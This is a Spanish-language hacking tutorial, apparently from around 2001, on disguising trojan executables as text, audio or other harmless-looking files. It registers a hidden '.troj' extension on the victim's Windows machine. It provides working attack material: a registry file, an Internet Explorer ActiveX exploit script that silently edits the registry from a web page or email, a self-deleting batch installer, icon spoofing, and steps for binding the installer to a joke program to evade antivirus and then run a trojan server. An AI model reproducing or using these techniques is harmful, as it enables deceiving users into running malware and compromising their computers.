Cualquier tipo de archivo (.wav .jpg .txt ...) puede ser un ejecutable
Aunque no sea muy habitual, es posible hacer pasar un troyano ( virus, o cualquier otro ejecutable) por un archivo de texto (.txt), de audio (.wav), una carpeta, o cualquier otro tipo de archivo (si, cualquiera).
Estos archivos son en realidad troyanos, y como puedes ver parecen archivos inofensivos.
Vamos a ver como se consigue hacer pasar un ejecutable por cualquier otro archivo en apariencia inofensivo.
La técnica consiste en "contaminar" el sistema, de manera que una vez infectado, sea vulnerable a este método y sea él mismo el que haga parecer a los archivos maliciosos, archivos totalmente inofensivos.
Increíblemente se trata de un método facilísimo.
Vamos a explicar paso a paso como se hace, para poder así saber como tenemos que protegernos de este posible ataque.
Lo que vamos a hacer es crear una extensión nueva, darle características de ejecutable, y ocultarla, crearemos en este ejemplo la extensión ".troj" .
De esta forma lo que nosotros tenemos es un archivo, por ejemplo, "server.exe", al que le hemos puesto el icono propio del txt, lo renombramos a "server.txt.troj", tras "contaminar" el sistema de la víctima, la extensión .troj, no solo será reconocida como ejecutable, sino que incluso desaparecerá, y por lo tanto lo que tendremos como resultado será un archivo server.txt (que se puede renombrar como readme.txt por ejemplo) en el que al hacer click se ejecutará el "server.exe".
CREANDO LA EXTENSIÓN:
Antes de pensar en otras cosas, lo primero es saber como podemos hacer que se cree nuestra extensión en el PC de la víctima.
Para crear una extensión, es necesario añadir las claves adecuadas al registro, y para ello se utilizan los archivos ".reg"
En este punto vamos a diferenciar entre Windows98 y Windows NT/2000/XP, puesto que hay ciertas cosas que varían entre uno y otro, el ejemplo que vamos a crear está pensado para que funcione en NT/2000/XP, para Windows98 no tiene mayor complicación, pero hay que cambiar algunas cosas.
Con estas líneas añadimos lo que necesitamos al registro:
REGEDIT4
[HKEY_CLASSES_ROOT\.troj]
@="trojfile"
[HKEY_CLASSES_ROOT\trojfile]
@="Documento de texto"
"NeverShowExt"=""
[HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]
@=""%1" %*"
Vamos a explicarlo un poco para el que no lo entienda:
REGEDIT4
Es la cabecera que indica que es un archivo de registro, dependiendo del sistema, también podría poner "Windows Registry Editor Version 5.00", según la versión.
[HKEY_CLASSES_ROOT\.troj]
Añadimos a la clave HKEY_CLASSES_ROOT la extensión ".troj", en HKEY_CLASSES_ROOT, se encuentra el registro de todas las extensiones y los tipos de archivo conocidos por nuestro sistema.
@="trojfile"
La "@" se utiliza para añadir claves con el valor de (Predeterminado)
"trojfile" es el tipo de archivo al que pertenecerán los archivos con extensión ".troj"
Para que lo entiendas mejor, abre el regedit32.exe, y ve hasta HKEY_CLASSES_ROOT, verás que la extensión, por ejemplo, ".txt" está asociada con los "txtfile", la ".exe" está asociada con los "exefile" etc.
[HKEY_CLASSES_ROOT\trojfile]
Añadimos el tipo de archivo "trojfile"
@="Documento de texto"
Esta es la clave que define a los "trojfile" (los ".troj") como documentos de texto, gracias a ello, cuando alguien vea las propiedades del documento, verá en "Tipo de archivo:" el valor "Documento de texto".
"NeverShowExt"=""
Esta clave es un punto fundamental en el proceso, añadiendo esta clave a cualquier tipo de archivo conseguimos que la extensión del archivo desaparezca.
La clave "NeverShowExt" es la responsable de que cierto tipo de extensiones no se vean.
Estas son las extensiones que permanecen invisibles:
.cnf
.lnk
.pif
.scf
.shb
.shs
.url
El hecho de que estas extensiones permanezcan ocultas se debe a que poseen la clave en el registro "NeverShowExt". Todas las extensiones que tengan este atributo en el registro, permanecerán invisibles en Windows aunque lo tengamos configurado para ver todas las extensiones.
Por lo tanto nosotros la añadiremos a nuestro tipo de archivo para hacer desaparecer nuestra extensión.
[HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]
Esta es la ruta en la que hay que poner qué programa se utilizará para abrir ese tipo de archivo.
@=""%1" %*"
Esto indicará que se abra como cualquier otro ejecutable, en este punto es donde se define, por ejemplo que los .txt se abran con el notepad.exe poniendo algo así:
@="%SystemRoot%\system32\NOTEPAD.EXE %1".
Bien, metiendo todo esto en un ".reg" ya tenemos lo que buscábamos. Al pinchar sobre el ".reg" se añadirá automáticamente la nueva extensión al registro, y el archivo "server.txt.troj" se transformará en "server.txt" (con el icono del txt porque anteriormente habíamos modificado el "server.exe" para que llevara este icono).
Hasta aquí, como idea no esta mal, pero sabemos que sólo un usuario del grupo de administradores tiene permiso para manejar el registro. por lo tanto debemos buscar la manera de que sea el administrador del sistema el que se contamine.
No voy a explicar aquí ninguno de los métodos de intrusión, puesto que creo que ya están bastante explicados, y no es el propósito de este texto. partimos del supuesto de que se consigue engañar al admin y hacerle ejecutar un archivo que contenga no sólo un troyano, sino este método de "contaminación" del sistema, que una vez llevado a cabo, servirá para posteriores infecciones.
Es decir, una vez que alguien está contaminado, se le pueden mandar por el IRC, o por Mail troyanos renombrados a "readme.txt.troj", "sonido.wav.troj" etc. Con la ventaja de que a ojos de la víctima aparecerán como "readme.txt", "sonido.wav" etc, archivos que eludirán los filtros de los scripts de IRC que bloquean las extensiones conocidas como peligrosas (.exe, .bat, .vbs...) y los filtros de algunos clientes de correo que siguen el mismo fin, además la víctima no tendrá ningún problema en pinchar sobre ellos, puesto que parecen inofensivos.
¿De que manera, por tanto, es posible mandar las claves del registro a la víctima?
Vamos a diferenciar 2 maneras diferentes, mediante un javascript y mediante un ejecutable.
1.-Mediante un javascript: Actualizado el 14-12-2001
Hablando un dia sobre este articulo con [^eLaiM^] , surgió la posibilidad de recrear este método de "contaminación" del sistema mediante un HTML. El código siguiente es el resultado de estudiar esa posibilidad.
Vamos a valernos de la vulnerabilidad del Internet Explorer en sus versiones 5 y 5.5, explicada aquí y que permite que un atacante modifique el registro de la víctima.
El código fuente que debemos utilizar sería este:
#script#
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f() {
try {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {
Shl.RegWrite ("HKCR\\.troj\\", "trojfile");
Shl.RegWrite ("HKCR\\trojfile\\", "Documento de texto");
Shl.RegWrite ("HKCR\\trojfile\\NeverShowExt", "");
Shl.RegWrite ("HKCR\\trojfile\\shell\\open\\command\\", "%1 %*");
}
catch(e) {}
}
catch(e) {}
}
setTimeout("f()", 1000);
#/script#
(sustituye los simbolos "#script#" y "#/script#" por "<script>" y "</script>" para que funcione ).
Si el atacante, consigue que la víctima abra este código ( metido en un html ) ya sea por web o por mail, conseguirá que en el PC de la víctima se cree la extensión maliciosa que "contaminará" el sistema.
Este método es válido para "contaminar" sistemas Win9x/NT/2K
2.-Mediante un ejecutable:
(Vamos a fabricar un ejecutable, de una manera fácilmente entendible que cree la extensión maliciosa en el PC de la víctima).
Crear un exe que añada las claves al registro no representa ningún problema, para cualquiera con conocimientos de programación, pero, como siempre vamos a tratar de demostrar que no hacen falta grandes conocimientos para llevar a cabo estos ataques.
Vamos a valernos de un ".bat" para crear el .reg, de manera que cuando la víctima pinche en el .bat, éste cree en el ".reg" y lo ejecute, evidentemente de manera silenciosa.
Éste es el ".bat" que tenemos que crear, lo vamos a llamar "troj.bat":
@echo off
@echo REGEDIT4>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\.troj]>>%TEMP%\troj.reg
@echo @="trojfile">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg
@echo @="Documento de texto">>%TEMP%\troj.reg
@echo "NeverShowExt"="">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg
@echo @=""%1" %*">>%TEMP%\troj.reg
regedit /s %TEMP%\troj.reg
del %TEMP%\troj.reg
Como vemos cuando se ejecute el "troj.bat", se creará el archivo "troj.reg" en la carpeta de archivos temporales, por último añadimos 2 líneas:
regedit /s %TEMP%\troj.reg
ejecutará el "troj.reg" para que se añadan las claves al registro.
del %TEMP%\troj.reg
borra el troj.reg una vez ejecutado, para no dejar rastro.
Pero surge aquí un problema en la línea:
@echo @=""%1" %*">>%TEMP%\troj.reg
si hiciéramos así el "troj.bat", crearía un "troj.reg" en el que en vez de aparecer @=""%1" %*" aparecería simplemente @=""
y por lo tanto los archivos con extensión ".troj" no serían ejecutables.
Para solucionarlo sustituimos:
@echo @=""%1" %*">>%TEMP%\troj.reg
por:
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg
No hemos hecho mas que sustituirlo por su equivalente hexadecimal, ahora la clave será correctamente introducida en el "troj.reg" (quedará así: @=""%1" %*" ).
-------------NOTA--------------
Si el sistema infectado es un NT/2K/XP podemos hacer el troj.bat de otra manera, puesto que existen comandos específicos para añadir extensiones y tipos de archivo al registro, los comandos son: "assoc" y "ftype" ( si quieres saber mas acerca de estos comandos, sólo tienes que escribir en una ventana de comandos "assoc /?" o "ftype /?"). Utilizando estas ordenes vamos a hacer que nuestro "troj.bat" añada automáticamente la extensión y el tipo de archivo al registro sin tener que pasar por el "troj.reg", "troj.bat"quedaría así:
assoc .troj=trojfile
ftype trojfile="%1" %*
El comando "assoc" sirve para añadir una extensión al registro y el "ftype" sirve para añadir un tipo de archivo
Pero por este método no podemos añadir la clave "NeverShowExt"="", y la extensión .troj quedaría a la vista, por lo tanto de todas maneras tendríamos que crear el "troj.reg", de esta manera
@echo off
assoc .troj=trojfile
ftype trojfile="%1" %*
@echo Windows Registry Editor Version 5.00>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg
@echo @="Documento de texto">>%TEMP%\troj.reg
@echo "NeverShowExt"="">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg
regedit /s %TEMP%\troj.reg
del %TEMP%\troj.reg
Vamos a quedarnos por lo tanto con el primero de los ejemplos que hicimos, sin utilizar los comandos "assoc" y "ftype".
---------FIN DE LA NOTA---------
Hasta aquí ya hemos conseguido crear un archivo que nos cree una nueva extensión, oculta y ejecutable. Si ahora la víctima recibe un archivo con icono, por ejemplo de txt, llamado readme.txt.troj, será incapaz de distinguirlo entre un txt y un ejecutable.
CREANDO EL ENGAÑO
Vamos a ver el proceso paso a paso para poner en claro lo fácil que es contaminar un sistema para dejarlo vulnerable a posteriores ataques.
Creamos el troj.bat, de la manera que ya explicamos mas arriba, y lo convertimos en troj.exe utilizando el primero el bat2exe (http://www.computerhope.org/download/utility/bat2exe.com),para convertirlo en troj.com, y después el C2E.COM y lo convertimos en troj.exe (podríamos haberlo dejado como troj.bat, pero siempre es interesante hacer las cosas bien).
La táctica consiste en unir el troj.exe a otro archivo inofensivo, como por ejemplo uno de esas animaciones en Flash con extensión .exe
Necesitamos juntar los dos ejecutables en uno, para ello vamos a utilizar el "DropperGen" esta es la web oficial (http://www.oblivionrat.com) que unido al "lcc-win32" (http://www.cs.virginia.edu/~lcc-win32/) unirá ambos archivos dejándolos en uno (gracias al método que utiliza para unir los archivos eludirá el scan de gran parte de los antivirus).
El archivo resultante pasará por una broma, pero el sistema quedará "contaminado" con la extensión ".troj" en su registro, después de esto se le pueden mandar archivos ejecutables y hacerlos pasar por archivos inofensivos.
Vamos a suponer que ahora pretendemos infectar a la víctima con un troyano:
Elegimos el server de un troyano (server.exe)
Lo primero que hacemos es cambiarle el icono por el de los .txt, para ello, lo cogemos del archivo archivo "shell32.dll", situado en la carpeta system32, utilizando, por ejemplo, el "Iconedit" (http://www.ad.ugatu.ac.ru/iconedit/)
Una vez que ya lo tenemos, utilizamos el ResHack (http://delphi.icm.edu.pl/ftp/tools/ResHack.zip) para cambiarle el icono al server.exe.
Al archivo resultante lo llamamos por ejemplo "license.txt.troj", y no queda nada mas que mandárselo a la víctima, aunque para nosotros el archivo aparezca así:
Para la víctima el archivo se verá así:
Creo que no es necesario decir lo peligroso que puede ser esto, puesto que no creo que nadie dude un instante en abrir un archivo de texto, porque no se cree que pueda ser peligroso.
Usando este método podemos darle a los archivos la extensión (la falsa) y el icono que queramos cada vez.
Se puede evitar la fase de cambiar el icono al server añadiendo unas líneas mas al registro, en la que atribuyamos un icono específico para los archivos ".troj", por ejemplo:
@echo [HKEY_CLASSES_ROOT\txtfile\DefaultIcon]>>%TEMP%\troj.reg
@echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg
para añadir el icono del .txt a los archivos .troj, que por las mismas razones que antes (lo de el %) debemos sustituir :
@echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg
por:
@echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,00,35,
00,32,00,00,00>>%TEMP%\troj.reg
en una sola linea, para añadir el icono de los .wav a los archivos .troj cambiaría la última linea por esta:
@echo @="%SystemRoot%\System32\quartz.dll,-200">>%TEMP%\troj.reg
que ahora quedaría:
@echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,
00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,
71,00,75,00,61,00,72,00,74,00,7a,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,32,
00,30,00,30,00,00,00>>%TEMP%\troj.reg
también en una sola linea.
-------------NOTA--------------
Para encontrar el equivalente hexadecimal del icono que buscas, puedes hacerlo fácilmente sin necesidad de editores hexadecimales.
Abre el regedit, busca el tipo de archivo que quieres, abre la carpeta "DefaultIcon", marca el valor en el que pone (Predeterminado) bla bla.
Vete a "Registro">>"Exportar archivo de Registro..." introduce el nombre que quieras y dale a aceptar.
Edita con un editor de texto el archivo ".reg" que acabas de crear y ahí tienes el valor hexadecimal que corresponde a la cadena que quieres poner, y que no puedes añadir por contener el caracter %
---------FIN DE LA NOTA---------
La ventaja es que no corremos el riesgo de estar añadiendo un icono característico del Windows 2000, por ejemplo, y enviárselo después a alguien que utilice Windows 98.
El inconveniente es que estaremos limitados a ocultar siempre el server.exe bajo el mismo tipo de archivos.
INTRUSIÓN Y CONTAMINACIÓN DEL SISTEMA
Por supuesto se puede contaminar el sistema sin tener que esperar para mandarle el server.exe posteriormente.
Ejemplo 1:
Incluyendo los 3 archivos, es decir, el ".bat" (pasado a ".exe"), el server.exe y el archivo inofensivo (con el que se engaña a la víctima), en uno solo, con el "DropperGen"
Ejemplo 2:
Metiendo el "server.exe" y el "troj.bat" en una "carpeta trucada" ( Si no conoces como se hacen, lo tienes en la sección "Carpetas Infectadas"), en concreto en la carpeta trucada aparentemente vacía.
Podrías incluso añadir esto al "troj.bat":
@echo copy server.exe %SYSTEMROOT%\WinReadme.txt.troj
@echo %SYSTEMROOT%\WinReadme.txt.troj
@echo del server.exe
@echo del troj.bat
de esta forma el troyano se copiará a la carpeta WINNT (WINDOWS si es un 98) con el nombre WinReadme.txt.troj, después se ejecutará, y se borrarán todos los archivos de la carpeta modificada.
Después de esto, el sistema quedará contaminado, el server del troyano tendrá apariencia de txt, y la carpeta quedará realmente vacía.
Ejemplo 3:
Si tienes los passwords del PC remoto, puedes acceder directamente al registro remoto, introducir las claves manualmente y dejar el sistema contaminado.
Ejemplo 4:
Piensa un poco y seguro que se te ocurren muchas otras maneras.
Texto escrito por CyRuX
http://cyruxnet.com.ar/extensiones.htm